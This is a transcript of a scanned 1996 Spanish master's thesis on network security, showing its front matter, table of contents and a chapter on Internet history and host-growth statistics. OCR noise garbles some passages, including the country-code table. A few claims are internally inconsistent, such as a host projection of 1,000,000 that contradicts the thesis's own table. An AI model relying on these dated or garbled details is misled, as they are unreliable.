estrategias para incrementar la seguridad de una red

145
Instituto Tecnológico y de Estudios Superiores de Monterrey. Campus Estado de México. División de Graduados e Investigación. Programa de Graduados en Ingeniería. "Estrategias para Incrementar la Seguridad de una Red Conectada a Internet". TESIS QUE PARA OPTAR EL GRADO DE MAESTRO EN CIENCiAS•,, COMPUTACIONALES Asesores: Comité de Tesis: Jurado: PRESENTA RICARDO LÓPEZ CASTRO Dr. Luis Angel Trejo. Dr. Jesús Vázquez. Dr. Jesús Sánchez V. MSI Francisco J. Camargo S. Dr. Jesús Sánchez V. MSI Francisco J. Camargo S. Dr. Luis Angel Trejo. Dr. Jesús Vázquez. Atizapán de Zaragoza, México, mayo de 1996.

Upload: others

Post on 02-Jul-2022

4 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Estrategias para incrementar la seguridad de una red

Instituto Tecnológico y de Estudios Superiores de Monterrey. Campus Estado de México.

División de Graduados e Investigación. Programa de Graduados en Ingeniería.

"Estrategias para Incrementar la Seguridad de una Red Conectada a Internet".

TESIS QUE PARA OPTAR EL GRADO DE MAESTRO EN CIENCiAS•,, COMPUTACIONALES

Asesores:

Comité de Tesis:

Jurado:

PRESENTA

RICARDO LÓPEZ CASTRO

Dr. Luis Angel Trejo. Dr. Jesús Vázquez.

Dr. Jesús Sánchez V. MSI Francisco J. Camargo S.

Dr. Jesús Sánchez V. MSI Francisco J. Camargo S. Dr. Luis Angel Trejo. Dr. Jesús Vázquez.

Atizapán de Zaragoza, México, mayo de 1996.

Page 2: Estrategias para incrementar la seguridad de una red

Prefacio

Actualmente el problema de la seguridad está preocupando mucho a los administradores de redes, muchos sistemas están latentes en angustiosa espera de un intruso y digo angustiosamente porque la mayoría de las veces estas filtraciones no son amigables.

La idea que nos invitó a trabajar en éste proyecto mostraba muchas interrogantes y un mundo de información que debía ser digerida y entendida paso a paso, con el fin de establecer los alcances y posibilidades.

Este proyecto sugiere alternativas de seguridad a los administradores de redes que aún creen que todos los usuarios del mundo son personas confiables y pasivas con sus redes vecinas.

Nos da una visión general del alcance de Internet a nivel mundial, su evolución, la importancia de su estudio y de incrementar la seguridad en cada uno de los centros de cómputo que estén bajo responsabilidad nuestra. El mapa de internet es un claro ejemplo del crecimiento de las redes computacionales y éste aún no termina.

Nos permite conocer más acerca del término que seguramente maracará el nuevo camino a seguir: Internet, la red de redes, o la supercarretera de la información. Esta será la nueva perspectiva y muchas empresas enfocarán su visión hacia este nuevo universo de informacion que se presenta con una magnitud increible.

Gráficas y fechas importantes de éste capítulo, fueron obtenidos por ftp anónimo en la página hogar de la Sociedad de Internet (Ref: [34] "Internet Society").

Muestra un claro ejemplo de la confianza que existía entre los administradores de redes, el concepto de seguridad se vislumbraba, pero aún no se ponía en práctica y mucho menos se sabia que hacer en casos de infiltraciones no autorizadas, el gusano de internet ( "The Internet Worm " ) vino a marcar una nueva era en las redes de computadoras, la era de las redes confiables. Este capítulo explica el funcionamiento del programa que tuvo en "jaque" a los administradores en el año de 1988.

Este capítulo es la base de la investigación, es la mecha que encendió el interés por realizar un proyecto de este tipo. Aquí se muestran varios ataques realizados en una estación de trabajo SUN. Dichos ataques explotan algunos huecos de seguridad que existen en el sistema operativo UNIX.

3

Page 3: Estrategias para incrementar la seguridad de una red

Prefacio

El estandarte de este proyecto lo representa el capítulo IV, ya que se ve la seguridad como un concepto que debe ser difundido y tomado en cuenta por todos los administradores que tengan bajo su responsabilidad una red de computadoras conectadas a Internet. Cada red insegura es considerada como una red que compromete a sus redes vecinas.

Este capítulo muestra un análisis realizado a una compleja red conectada a Internet, tipo "B", con más de 8000 usuarios, con el fin de determinar si es una red segura o no, las decisiones que surgen dan pauta a los siguientes capítulos. Dicho análisis prepara la base de lo que serán las políticas de seguridad en el Laboratorio de Cómputo Especializado, equipado con estaciones de trabajo Sun.

Brinda gran ayuda al administrador de red, ya que sugiere herramientas computacionales favorables para el monitoreo de la red. Dichas herramientas permiten encontrar huecos en el sistema que el administrador no pudo haber detectado durante un monitoreo cotidiano.

Los controles y regulaciones de una red deberán ser establecidas, por lo que en este capítulo se muestran las políticas de seguridad establecidas para el Laboratorio de Cómputo Especializado de los Departamentos de Ciencias Computacionales y Sistemas de Información con plataforma SUN.

Nos va a ayudar a diseñar un plan de prevención con base en la información que se brinde a usuarios, el control de acceso de los mismos y la cultura computacional que se vaya creando en la organización.

Las políticas antes mencionadas (Cap. VII) son llevadas a la automatización para favorecer el control de acceso y evitar filtraciones no legales para nuestro sistema. El Firewall de "Trusted Information Systems" (TIS), nos va a ayudar a implantar estas políticas en "sunlab"; uno de los servidores de los Laboratorios de Cómputo Especializado.

,Cqoil,tJ!fJ_J(lJI. Las conclusiones son el resultado de las observaciones de este proyecto, las ideas generadas serán los puntos de referencia hacia la continuacion de este trabajo.

4

Page 4: Estrategias para incrementar la seguridad de una red

CAPITULO l ..

1.- Introducción.

1.1 Historia de la red de redes

Desde los 50's La Década de los 60's La sobresaliente década de los 70's

Efemérides de los 70's La década de los 80's Los noventas (90's)

1.2 Internet

l. 2 .1 l. 2. 2 l. 2. 3 l. 2. 4 l. 2. 5

Crecimiento de Internet Así Funciona la Internet Metodología para proyectos de Conexión a Internet La importancia de Internet Servicios que ofrece

Correo Electrónico Telnet Finger File Transfer Protocol (FTP)

1.2.6 Mapas de Conexión a Internet

1.2.6.1 1.2.6.2 1.2.6.3 1.2.6.4 1.2.6.5

1.2.6.6

Mapa de Conexión mundial Servidores en México Red Sistema ITESM Mapa de Conexión ITESM CEM Mapa Laboratorio de Cómputo Especializado (LCE) Mapa Laboratorio de Cómputo

Especializado de los Departamentos de Ciencias Computacionales y Sistemas de Información

CAPITULO 11 ..

2.- El Gusano de Internet ("The Internet Worm").

2.1 2.2 2.3 2.4 2.5

2.6

Antecedentes ¿Qué es el Gusano de Internet? ¿Qué hizo el Gusano de Internet? ¿Qué No hizo el Gusano de Internet ¿Cómo lo hizo? 2. 5. 1 El programa 2.5.2 Estructura del Ataque

2.5.2.1 El hueco de SMTP 2.5.2.1 El hueco de TCP

¿Porqué es Importante este suceso? 2.6.1 Las redes antes y después del suceso

2.6.1.1 DARPA CERT 2.6.1.2 DNN Security Coordination Center 2.6.1.3 NIST Computer Security Resource and

Response Center

8

8

8 9 9 9 10 12

15

15 17 17 20 22

22 24 24 24

25

25 26 26 27

28

29

30

30 30 31 31 32 32 34 35 35 35 36 36 36

36

Índice

5

Page 5: Estrategias para incrementar la seguridad de una red

3.- Algunos Ataques.

3.1 3.2 3.3 3.4 3. 5 3. 6

3.7 3.8 3.9

.rhosts y /etc/host.equiv No File Security rlogin Sniffers User "id" único Password Cracker 3.6.1 Passwords Seguros

¿Qué no hacer? ¿Qué hacer? ¿Cómo?

Trap Doors Caballos de Troya Bombas Lógicas

CAPITULO W.,

4.- Seguridad Computacional.

4 .1 ¿Qué hace que un sistema sea inseguro?. 4.1.1 Huecos de seguridad Físicos. 4.1.2 Huecos de seguridad en Software.

3-1

37

37 38 40 41 42 44 45 45 46 46 46 47 47

49

50 51 51 51 4.1.3 Huecos de seguridad en Hardware.

4.1.4 Huecos de seguridad producidos por de recursos.

incompatibilidad 51

4.2 4.3 4.4 4. 5.

4.6 4.7 4.8 4.9

4.10 4 .11

4. l. 5 Huecos de seguridad relacionados con la cultura computacional existente.

Diferencia entre Cracker y Hacker. Razones por las cuales se ataca un host. Confidencialidad de la Información. Criptografía. 4.5.1 Data Encryption Standard (DES). 4.5.2 Crypt. 4.5.3 Rivest, Shamir and Adleman (RSA). Integridad de la información. Disponibilidad de la información. Lista de chequeo para una máquina. ¿Qué debo hacer para verificar mi site después de un ataque? Políticas de Seguridad. Porqué es importante la seguridad.

CAPITULO~

5.- Análisis de la red de SUN de los LCE.

5.1 5.2

5.3

Análisis del entorno. Análisis de la red a proteger. 5.2.1 ¿La red del Laboratorio está segura?. 5.2.2 Confianza en usuarios externos. Metodología aplicada al análisis de la seguridad. 5.3.1 Determinar el diagnóstico global de las condiciones

de la organización. 5.3.2 Determinar los diferentes niveles de acceso a la

5. 3. 3 5. 3. 4 5.3.5 5. 3. 6

red privada. Elaboración de la propuesta de conexión. Determinación del plan global. Formación del grupo mixto de trabajo. Determinación de funciones para el grupo mixto de trabajo.

5.3.7 Implementación de labores para el grupo mixto

5.3.8 5.3.9 5.3.10

de trabajo. Pruebas pre-conexión (internas). Pruebas de conexión (al exterior). Finalización del proyecto.

51 52 52 52 53 55 57 58 60 61 61

62 63 64

65

65 66 68 68 68

68

79 81 81 81

81

81 82 82 82

Índice

6

Page 6: Estrategias para incrementar la seguridad de una red

CAPITULO VJ~

6.- Herramientas de Seguridad. 83 6.1 Herramientas de monitoreo. 83

6.2

Rutinas que informen al usuario la expiración de su password. 83 COPS (Computer Oracle and Password System). 85 Security Administrator Tool for Analyzing Networks (SATAN) 87 Tripwire 90

Herramientas de Prevención. TCP Wrapper. Firewalls. FireWall-1. TIS Firewall Toolkit. Pretty Good Privacy. Kerberos.

91 91 93 94 97 102 104

CAPITULO VII.,

7.- Políticas de Seguridad. 110

7.1

7.2

7.3

7.4

7.5

7. 7. 7.

6 7 8

Usuario Normal. Derechos del usuario normal. Responsabilidades del usuario normal.

Usuario Interno. Derechos del usuario interno. Responsabilidades del usuario interno.

Usuario Operador. Derechos del usuario operador. Responsabilidades del usuario operador.

Usuario Temporal. Derechos del usuario temporal. Responsabilidades del usuario temporal.

Usuario Administrador de Red. Derechos del Administrador de la red. Responsabilidades.

Lineamientos. Recomendaciones. Políticas de seguridad para el Laboratorio de Sun. a) De la administración de las cuentas. b) De la administración de los respaldos. c) Del control de Acceso Físico. d) Del control de Acceso Lógico. e) Del uso de los permisos a los recursos otorgados. f) Del uso de la cuenta. g) Del buen uso del recurso. h) De la confidencialidad de la Información. i) De la integridad de la información. j) De la disponibilidad de la información y los recursos. k) De la capacitación a usuarios en seguridad computacional.

CAPITULO VID~

7.- Conclusiones.

Referencias. Anexos.

112 112 113

113 113 114

114 114 114

115 115 115

115 115 116

116 117 118 118 118 118 118 119 119 119 119 120 120 120

121

123 126

Índice

7

Page 7: Estrategias para incrementar la seguridad de una red

Capítulo I

Capítulo l. Introducción.

1.1. Historia de la red de redes.

Las redes computacionales han revolucionado el uso de las computadoras. De ser unidades de cómputo independientes, han pasado a ser sistemas complejos interconectados entre sí, los cuales comparten recursos, intercambian información e integran procesos que residen en computadoras remotas, ofreciendo optimización de recursos y creciendo en forma desmesurada.

En el mundo de los negocios, la educación, la investigación y casi todas las áreas, la era de las computadoras individuales se acerca rápidamente a su fin. Las redes de computadoras son demasiado útiles como para prescindir de ellas.

En la mayoría de las Compañías e Instituciones educativas el crecimiento de las redes ocurrió sin sujetarse a un plan global. De hecho Unix, el sistema operativo dominante en las estaciones de trabajo, fue otorgado desde sus inicios a diversas universidades en los Estados Unidos, por lo que toda una generación de estudiantes se educó con éste sistema, lo cual contribuyó a su difusión y crecimiento.

Desgraciadamente este crecimiento desmesurado de las redes, también llega a personas deshonestas, que aprovechando sus vastos conocimientos del sistema, logran burlar los mecanismos de seguridad de distintas organizaciones, poniendo en riesgo la confidencialidad de_ la información que ahora es considerada como el activo principal de una empresa.

Este trabajo está enfocado a aquellos administradores de red, que necesitan incrementar la seguridad en su centro de cómputo y disminuir el número de infiltraciones de usuarios no autorizados a su red privada .

La seguridad se está convirtiendo en uno de los tópicos más comentados por administradores de redes que preocupados las amenazas existentes buscan diferentes metodos de protección para la red que esta a su cargo.

Es indudable que se deben establecer esquemas que permitan enviar y transmitir información segura por los diferentes enlaces, ya que de no ser así la Internet podría llegar a perder credibilidad. Múltiples empresas comerciales tienen una visión proyectada hacía el envio y recepción de información en forma remota, es por eso que se debe trabajar en este aspecto.

Para poder hablar ampliamente de lo que es la red y lo que esto representa, habremos de platicar un poco de lo que ha sido la historia de la red. Además que nos permite formar un marco teórico que nos va a ayudar a dejar en claro cada fecha importante por las cuales tuvo que evolucionar la red para convertirse en lo que ahora llamamos la "Internet".

Desde los SO's.

Los principios de la red se remontan a los años 50's con la carrera espacial, en 1957 la Unión de Repúblicas Sovicticas Socialistas (URSS), lanza el primer satélite artificial. En respuesta, Estados Unidos forma la Agencia de Proyectos de Investigación Avanzada (ARPA- Advanced Research Projects Agency) con el Departamento de Defensa (DOD- Department Of Defensc) para establecer las organizaciones líderes en ciencia y tecnología aplicable a la milicia de los Estados Unidos.

8

Page 8: Estrategias para incrementar la seguridad de una red

Capítulo I

La década de los 60's.

Durante la década de los 60's se sucedieron un conjunto de experimentos con redes operadas usando conmutación de paquetes o del inglés "packet switching", que es un método de fragmentación de mensajes en pequeñas sub-partes llamadas paquetes a las cuales se le aplicaban algoritmos de ruteo a diferentes destinos, una vez que los paquetes llegaban al destino, eran ordenados y reensamblados al mensaje original.

El plan inicial de ARPANET fue distribuído en Octubre de I 967 en el Simposium de Principios operativos en Gatlingberg, Teenessee Organizado por la Association far Computing Machinery (ACM).

El primer Procesador de Mensajes de lnformacion (IMP-lnformation Message Processor) de ARPANET fue instalado en la Universidad de California el 1 o. de Septiembre de 1969, dicho procesador sólo contaba con 12K de memoria, pero era considerado poderoso para las computadoras de esa época.

Rápidamente nodos adicionales se fueron anexando, SRI (Stanford Research Institute), la UCB (Universidad de California en Santa Barbara ) y la Univesidad de UTAH. UTAH fue el primer "site" en habilitar el "login" remoto desde otros "sites".

La seguridad se reducía a controlar el acceso a las salas de cómputo y a los recursos en forma discrecionaria.

La sobresaliente década de los 70's

El comienzo de las redes se estaba gestando, el gran proyecto militar de ARPA estaba cambiando el desarrollo de las comunicaciones a nivel mundial. Un proyecto militar estaba siendo encausado hacia un uso comercial y lo mejor de todo es que ¡¡¡Estaba resultando!!!. Los 70's y los 80's son décadas de desarrollo e investigación, surgen muchas propuestas, muchas nuevas ideas y conceptos que resultarían decisivos en la integración de la red. Mientras ARPANET estaba en la etapa temprana de su evolución, otra tecnología estaba influenciando el crecimiento de la red.

Desde 1945 a 1970 varios modelos de conferencia cara a cara y correo fueron desarrolladas. Uno de los modelos importantes fue "DELPHI", que fue iniciado en 1970. Redes de "store and forward" comenzaron a utilizar la tecnología del correo electrónico y las extendieron a lo que hoy llamamos una conferencia. Una conferencia en este sentido es información de doble sentido y de uno a muchos. Otra tecnología que estaba haciendo ruido durante esta década y principios de los 80's fue BITNET y USENET. La transferencia de archivos y correo electrónico fueron gratamente agradecidos con la llegada de UUCP (Unix to Unix Copy Protocol), que fue creado en 1976 por Mike Lesk en AT&T Bell Labs como parte de un proyecto de investigación, el producto fue un éxito y varias redes lo adoptaron. Un conjunto de protocolos desarrollados por DARPA, llamados TCP/IP deberían ser usados para ruteo de información entre redes. Las conexiones entre las redes deberían ser a través de un "gateway" llamado VAN (Value Added Network). La implantación de este "gateway" ínter-redes y la importante decisión de hacer disponible TCP/IP sin cargo, marcó el camino a seguir para lo que después sería conocido como "Internet". (Ref:[37])

Efemerides de los 70's:

1971:

9

Page 9: Estrategias para incrementar la seguridad de una red

Capítulo I

15 nodos con 23 hosts representan la red, fonnada por las siguientes organizaciones conectadas: UCLA, SRI, UCSB, U of UTAH, BBN, MIT, RAND, SDC, Harvard, Lincoln Lab, Stanford, UIU (C), CWRU, CMU, NASA/Ames. 1972:

AlohaNet desarrollado por Nonnan Abrahamson de la Universidad de Hawaii, se conecta a ARPANET. En la primera Conferencia Internacional de Comunicaciones Computacionales con sede en Washington, D.C., tuvo lugar una demostración pública por parte de ARPANET con 40 máquinas conectadas. Surge la especificación de "telnet" en el RFC 318 (Request for Comment).

1973:

Bob Metcalfe de la Universidad de Hardvard presentan la idea para Ethernet en su proyecto de Tesis. En septiembre de éste año Cerf y Kahn presentan las ideas básicas de Intenet.

Se establece una política de seguridad uniforme para el departamento de defensa de los E.U., llamada "Política de Seguridad multinivel", su objetivo principal fue (y es) el secreto de la información.

1974:

Sale la versión comercial de "telnet", como el primer paquete público para servicio de datos. Bilba propone una versión de la Política multinivel pero orientada a la integridad de la información.

1976:

La Reina Elizabeth de Inglaterra envia un correo electrónico, varias personas habían realizado conversaciones via correo electrónico desde 1971.

1977:

THEORYNET creado por Larry Landweber en la Universidad de Winsconsin proveyó a cerca de 100 investigadores en ciencias computacionales de correo electrónico, usando un sistema de correo local y "telnet" para acceso al servidor. En este mismo año surge la especificación de Correo electrónico RFC 733. En julio se da la primer demostración de operación de protocolos en Internet con "gateways" provistos por BBN, dicha demostración estuvo a cargo de ARP ANET/P ACKET Radio NET/SA TNET.

1979:

ARPA establece el "Internet Configuration Control Board (ICCB)".

La década de los SO's:

1981:

BITNET-"Because It's Time Network". Comienza como una red cooperativa en la Universidad de Nueva York, con la primera conección a Yale.

1982:

DCA y ARPA establecen el Protocolo de Control de Transmisiones (Transsmission Control Protocol-TCP) y el Protocolo Internet comunmente conocido como TCP/IP. DOD (Department Of Defense) declara a TCP/IP como el estándar para el departamento.

10

Page 10: Estrategias para incrementar la seguridad de una red

1983:

Name Server es desarrollado por la Universidad de Winsconsin. ARPANET se divide en ARPANET y MILNET.

Capítulo I

Estaciones de Escritorio comienzan a llegar al mercado, muchas de ellas con el Unix de Berkeley, el cual incluía el Protocolo Internet (IP) y software de red. Berkeley lanza la version 4.2 BSD incorporando TCP/IP.

1984:

Es introducido el DNS (Domain Name Server) Moderadores de grupos de noticias ( Newsgroups) son introducidos a USENET.

1985:

Aparece el "Orange Book" o TSEC (Trusted Computer System Evaluation Criteria), que describe los criterios de evaluación y certificación de sistemas computacionales.

1986:

Es creado NSFNet (con un backbone con velocidad de 56Kbps), estableciendo 5 centros de supercomputo para proveer alto poder de computo para todos ( JUNC@Princenton, PSC@Pittsburgh, SDSC@UCSD, NCSA@UIUC, Theory Center@Cornell), esto permitió la explosión de conexiones especialmente por parte de las universidades.

1987:

NSF firma un convenio cooperativo para administrar el Backbone de NSFNet con Merit Network, Inc. (IBM, MCI y Merit). UUNET es fundado con Usenix para proveer el UUCP comercial y acceso a USENET. Se alcanza el 1000-esimo RFC Número de Hosts = I 0,000 Número de BITNET hosts = I 000. El "Red Book" complementa el TSEC, agregando criterios de evaluación y certificación de redes de computadoras. La toma de conciencia de los civiles llegó más tarde. El interés se dirige a la integridad de la información y de las transacciones que manipulan dicha información. Surgen políticas de seguridad comercial (Clark y Wilson) y políticas de seguridad financiera (Brewer y Nash en 1989).

1988:

El incidente de Morris con el Gusano de Internet afecta cerca de 6000 de los 60,000 hosts en Internet, este incidente se describe con mas profundidad en el capitulo III de este trabajo. Las necesidades exhibidas después de este incidente provocan la creación del CERT (Computer Emergency Response Team) formado por DARPA. NSFNet crece a los 1.544 Mbps (TI), los países conectados a éste: Canadá, Dinamarca, Finlandia, Francia, Islandia, Noruega y Suecia. A esta fecha es a lo que llamamos el nacimiento de las redes confiables, es cuando las organizaciones comienzan a preocuparse más por la seguridad. Los expertos en seguridad se interesan en la seguridad de Internet y Unix. Se forman grupos de respuesta a ataques.

11

Page 11: Estrategias para incrementar la seguridad de una red

Capítulo I

1989:

Se alcanza el host numero 10,000. "The Cuckoo's Egg", libro escrito por Clifford Stoll, narra la historia real de un grupo de "Crackers" germanos quienes infiltraban en redes americanas y europeas con grandes facilidades. Incrementa el numero de países conectados a NSFNet, estos son 11: Australia, Alemania, Israel, Italia, Japón, México, Netherlands, Nueva Zelanda, Puerto Rico, Inglaterra. Las Primeras transferencias entre comercializadoras de correo electronico e Internet.

Los noventas ( 90's):

1990:

ARPANET deja de existir. Llega el primer proveedor comercial de acceso a Internet por teléfono (worl.std.com). Peter Deutsch, Alan Emtage y Bill Heelan, liberan Archie, que es un programa usado para facilitar la localización de datos en Internet a través de búsquedas especificadas por el criterio de usuario.

Mas países se conectan a NSFNet: Argentina, Austria, Bélgica, Brasil, Chile, Grecia, India, Irlanda, Corea del Sur, España y Suiza. Los países europeos proponen su criterio de evaluación de seguridad de sistemas: el ITSEC (lnformation Technology Security Evaluation Criteria).

1991:

Wide Area Information Servers (W AIS), inventando por Brewster Kahle es liberado por Thinking Machines Corporation. Paul Lindner y Mark P. McCahill de la Universidad de Minesota lanza Gopher, programa basado en menúes usado para explorar y tener acceso a recursos provistos por Internet. El CERN lanza World Wide Web, cuyo desarrollador Tim Berners-Lee, no imaginaba quizá el alcance que tendria la herramienta. PGP (Pretty Good Privacy) de Philip Zimerman es lanzado como una herramienta para enviar informacion cifrada por la red, asegurando con una firma digital que el contenido no ha sido modificado. El backbone NSFNet crece a un T3 (14,736 Mbps), alcanzando un tráfico de I trillón de bytes por mes y 10 billones de paquetes por mes. NSFNet conecta a mas países, el crecimiento de la red se va notando a un crecimiento acelerado: Croacia, República Checa, Hong Kong, Hungría, Polonia, Portugal, Singapur, Sur Africa, Taiwan y

Tunisia.

1992:

Se alcanza el host No.1,000,000. La universidad de Nevada lanza "Veronica", como una herramienta de búsqueda en la red. Más países se conectan a NSFNet: Camerún, Ecuador, Cyprus, Estonia, Kuwait, Latvia, Luxemburgo, Malasia, Eslovaquia, Eslovenia, Tailandia y Venezuela.

1993: Es creada Internic por NSF para proveer servicios específicos de Internet tales como: Servicios de Base de Datos y Directorios (A T &T). Servicios de Registros (Network Solutions Inc.). Servicios de Información (General Atomics/CERFnet). La casa blanca se pone en línea en: http://www.whitehouse.gov Nuevos gusanos encuentran camino a través de la red mundial.

12

Page 12: Estrategias para incrementar la seguridad de una red

El mundo de los negocios toma muy en cuenta lo que esta pasando con la red. Mosaic, el browser para navegar por la red, llega causando una gran tormenta. WWW prolifera incrementando en un 341 % y un 634% la tasa anual de tráfico. Gopher lo incrementa en un 997%.

Capítulo I

Aumenta el número de países y ciudades conectados a NSFNet, esta vez se conectan: Bulgaria, Costa Rica, Egipto, Fiji, Ghana, Guam, Indonesia, Kenya, Kazakhstan, Perú, Rumania, Federación Rusa, Turquía, Ucrania, UAE, Islas Virginias, Liechtenstein.

1994:

ARPANET/Internet celebra su 25 aniversario. Muchas empresas y comunidades comienzan a conectar sus redes directamente a Internet. El tráfico de NSFNet alcanza los I O trillones de bytes por mes.

[ Figura 1.1] - Crecimiento del Tráfico en NSFNet.

- La figura 1.1 muestra el crecimiento del tráfico que circula por el "backbone" de NSFNet. (Fuente: Ref[34 ]).

Si, en serio!!!, ahora puedes ordenar pizza desde la red. WWW comienza a ser el segundo servicio más popular de la red, dalos que se basan en el porcentaje de paquetes enviados por la red. El Primer Ministro Japonés se pone en línea en: http://www.kantei.go.jp Primer ministro de Información Tecnológica de Nueva Zelanda en linea: http://www.govt.nz El primer banco virtual (cyberbank) abre para negocios. TERENA (Trans-European Research and Education Network Association) es formado por la alianza entre RARE y EARN, con representación en 38 países, creada para promover y participar en el desarrollo de una alta calidad de información e infraestructura a nivel internacional para el beneficio de la educación y la investigación.

13

Page 13: Estrategias para incrementar la seguridad de una red

Capítulo I

El número de países y ciudades conectados a NSFNet sigue aumentando: Algeria Armenia, Bermuda, Burkina, Faso, Marruecos, Nueva Caledonia, Nicaragua, Nigeria, Panamá, Filipinas, Senegal, Sri Lanka, Uruguay, Uzbekistan, Swaziland.

1995:

Sucede nuevamente, I 0,000 usuarios son desconectados de internet por la policia en Hong Kong en busca de un hacker. Radio HK, estación de radio de 24 hrs, comienza a "transmitir" por la red. NSFNet regresa al camino de la investigación. El principal "backbone" de Estados Unidos es ruteado a través de proveedores de redes interconectadas. WWW en el mes de marzo sobrepasa el servicio de ftp, como el servicio con más alto tráfico en NSFNet. Proveedores comerciales dan acceso a internet por modem: Compuserve, American Online y Prodigy). El registro de dominios de nombres deja de ser gratuito desde el 14 de Septiembre, la cuota será de $50 dls anuales, ya que hasta esta fecha estuvo subsidiada por NSF. El vaticano en linea en: http://www.vatican.va El gobierno canadiense en línea en: http://canada.gc.ca Por primera vez, soldados al frente de batalla "regresan" a casa vía Internet. Las tecnologías del año: JAVA, JAVA script, Ambientes Virtuales (VRML) y Herramientas colaborativas.

1996:

La Exposición Mundial de Internet 1996. El número de hosts conectados al lo. de Febrero de éste año: 9,472,000. El número de redes conectadas: 93,671. Los códigos otorgados por Internic a cada país están dados en la figura 1.2 (Fuente: Ref[34]):

.. Argentina •g Egypt kw Kw,alt .. sweden

at Austria .. Sp31in 11 Llec htenstai n sg Slngapore au Australia fl Flnland lu Luxambourg si Sloventa

be Belglum fj FIJI mo Macau sk Slovak

bg Bulgala Ir France mx Mexico Republlc

br Brazll gr Greece my Mllaysla th Thalland

ca Canada hk Hong Kong ni Nicaragua tn Tuntsla

ch Swit:zerland hr Croatla ni Nett1er1ands tr Turkey

el Chile hu Hungary no No,way tw Taiwan

en China Id Indonesia nz NW1Zeatand Uk U.K.

co Colombia lo lreland pa Panama us USA

cr Costa R ica 11 lsralf pe Peru uy Uruguay

Cyprus In India ph Phíllpplnes •• Venezulfa cy cz Czech Republic Ir lran pi Poland za SoutnArnca

do G•ma.ny Is lceland pr Puerto Rico

dk Denmark lt ltaly pt Portugal

dZ Algerfa Jp Japan ro Romanla oc Ecuador kr South Korea .. Saudl Arabia

[ Figura 1.2] Códigos de países en Internet.

Como podemos ver a través de esta historia, la seguridad de las redes no era un evento importante, no es hasta el año de 1988 cuando comienza la preocupación, sin embargo se ha hecho poco al respecto, ya que Unix, que es el sistema operativo por el cual se conecta la gran mayoria de las redes conectadas, fue diseñado como un sistema operativo cooperativo, un sistema abierto en el cual todos pueden compartir información, que es basicamente la filosofía de la Internet. Pero, ¿realmente podremos estar tranquilos sabiendo que existe gente deshonesta que gusta de infiltrarse en redes ajenas, poniendo en riesgo la confidencialidad de la información?, y no sólo ésto, sino que hay quienes gustan de borrar la información.

14

Page 14: Estrategias para incrementar la seguridad de una red

Capítulo I

Una pregunta que es muy probable que usted se haga es: ¿ Porqué escribir una historia sobre la red ?, como apunta Brenda Laurel de Interval Research Corporation: "La red es el más grande receptaculo gratis de ideas que jamás ha existido, es el primer organismo artificial inteligente", porque millones de personas participan y conviven diariamente con la red, porque muchos nuevos matrimonios han surgido, de una serie de intercambio de mensajes desde diferentes sitios, porque las distancias ahora se miden en bytes por segundo y porque la red representa el crecimiento de una nueva sociedad dentro de la vieja, adoptando sus costumbres e ideologías.

Veamos ahora la red y notemos algo importante, este proyecto frío, militar, fue diseñado con fines destructivos y desvastadores, sin embargo nadie planeó este crecimiento, este nuevo rumbo, los usuarios hicieron así la red porque tuvieron la creatividad para justificar sus propios valores, para canalizar la tecnología a buenos propósitos y sus propias ideas.

Pero mientras la historia se escribe, termino este capitulo dejando la idea de que pudimos capturar el nacimiento de una nueva cultura mundial llamada por muchos "La Red".

1.2. Internet.

Como nos podemos dar cuenta, los sistemas de información avanzan cada día. No podemos quedar estáticos viendo cómo todo esto sucede sin sentir la inquietud de conocer algo que este amplio mundo de información nos ofrece. Cada día surgen nuevas ramas de investigación, nuevos conceptos por conocer, nuevos retos que afrontar, nueva información que explotar.

1.2.1. Crecimiento de Internet.

A continuación se plantea todo un marco de referencia para ubicar al lector en el entorno que nos moveremos durante todo este trabajo, un conjunto de mapas y datos muy interesantes referentes al crecimiento de internet podán informarnos acerca de lo que representa hoy la red.

Mostrando gráficamente el crecimiento de Internet, observemos la figura 1.3 (Fuente Ref: [34 ]).

[ Figura 1.3] Crecimiento de Internet.

15

Page 15: Estrategias para incrementar la seguridad de una red

Capítulo I

El crecimiento de internet dentro de los 90's es realmente impresionante, notemos que a enero de I 990, el número de redes no rebasaba a las 5,000, y para I 994 el número rebasaba ya a las 35,000; más aún las estadísticas marcaron que cada 30 minutos una red nueva era conectada.

A continuación se presenta la tabla l(Ref:[34)), que muestra el incremento anual en el número de hosts hasta 1994, a partir de esos crecimientos se hace una proyección para el año 2000 para estimar el número de hosts para el comienzo del nuevo siglo, dicha proyección estima un incremento de I ,000,000 de hosts conectados.

Tabla del Incremento anual de hosts conectados a Internet. Fecha Hosts Incremento Anual Fecha Hosts Incremento Anual

1969 4 Jul.93 1,776,000 78% Abr.71 23 235% Oct.93 2,056,000 63% Jun.74 62 Dic.93 2,217,000 47% Mar.77 111 79% Jul. 94 3,212,000 77% Ago.81 213 91% Oct.94 3,864,000 81% May.82 235 14% Ene. 95 4,852,000 102% Ago.83 562 111% Abr. 95 5,706,114

Oct.84 1,024 70% Jul. 95 6,710,582

Oct.85 1,961 92% Oct.95 7,891,869

Feb.86 2,308 53% Ene.96 9,281,102

Nov. 86 5,089 161% Abr.96 10,914,886

Dic.87 28,174 419% Jul.96 12,836,272

Jul.88 33,000 29% Oct.96 15,095,885

Oct.88 56,000 277% Ene.97 17,753,266

Ene.89 80,000 170% Abr. 97 20,878,436

Jul.89 130,000 126% Jul.97 24,553,739

Oct.89 159,000 89% Oct.97 28,876,019

Oct.90 313,000 97% Ene.98 33,959,165

Ene.91 376,000 80% Abr.98 39,937,115 Jul.91 535,000 85% Jul. 98 46,967,385

Oct.91 617,000 61% Oct.98 55,235,217 Ene.92 727,000 71% Ene.99 64,958,464

Abr.92 890,000 90% Abr.99 76,393,328 Jul.92 992,000 46% Jul.99 89,841,111

Oct.92 1,136,000 58% Oct.99 105,656,154 Ene.93 1,313,000 62% Ene.00 124,255,175 Abr.93 1,486,000 53%

[ Tabla 1.1] - incremento en el número de Hosts en Internet.

En la figura I .4, podemos apreciar el siguiente crecimiento, de acuerdo a los datos previos:

140000000

120000000

100000000

80000000

60000000

40000000

20000000

o

Crecimiento de Hosts

[ Figura 1.4] - Gráfica de estimación en el número de hosts para el año 2000.

16

Page 16: Estrategias para incrementar la seguridad de una red

Capítulo I

